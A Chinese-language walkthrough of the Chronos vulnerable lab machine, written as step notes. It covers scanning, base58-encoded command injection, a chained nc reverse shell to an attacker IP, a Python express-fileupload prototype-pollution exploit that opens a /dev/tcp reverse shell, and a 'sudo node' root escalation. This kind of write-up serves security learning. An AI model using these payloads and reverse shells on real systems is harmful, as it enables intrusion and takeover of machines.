• 靶机地址
  • 难度:中

    知识点

  • 端口扫描
  • WEB侦查
  • 命令注入
  • 数据编解码
  • 搜索大法
  • 框架漏洞利用
    • express-fileupload
    • node.js原型污染漏洞
  • 代码审计
  • NC串联
  • 本地提权
    • sudo -l

      步骤

  • 主机发现
    • netdiscover -r 192.168.2.0/16
    • 最后最好是想要扫的减8 , 24-8=16
    • 192.168.2.119
  • 扫描端口
    • nmap -p- 192.168.2.119
    • 22, 80, 8000
  • 扫描应用及版本
    • nmap -p22,80,8000 -sV 192.168.2.119
    • 80:apache 2.4.29
    • 8000:node.js express framework
  • 访问80端口,发现js代码
    • avatar
  • 使用cyberchef处理一下代码
    • avatar
  • http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
  • vi /etc/hosts
    • 将 chronos.local解析为目标IP(192.168.2.119)
  • 刷新页面,出现新的东西
  • 对url中的字符串处理一下
    • avatar
    • ‘+Today is %A, %B %d, %Y %H:%M:%S.’
  • 猜测是 date ‘+Today is %A, %B %d, %Y %H:%M:%S.’
  • &&ls的base58编码:yZSGA
  • 使用BP抓包测试
    • avatar
  • 反弹shell
    • 攻击的所有命令要base58编码
    • 攻击机(192.168.2.118)先监听:nc -nvlp 4444 和 5555
    • &&nc 192.168.2.118 4444 | /bin/bash | nc 192.168.2.118 5555
  • linux常用提权
    • 内核漏洞
      • uname -a
    • suid
    • sudo -l
  • cat ../chronos-v2/backend/server.js
  • node.js代码审计
  • 利用express-fileupload
    1
    2
    3
    4
    5
    6
    import requests
    cmd = 'bash -c "bash -i &> /dev/tcp/本机IP/监听端口 0>&1"'
    # pollute
    requests.post('http://127.0.0.1(目标):8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
    # execute command
    requests.get('http://127.0.0.1:8080')
  • 将python的exp代码传到目标tmp目录下,监听后执行,成功获得imera账户
  • 然后利用sudo -l 配置漏洞获得root
    • sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'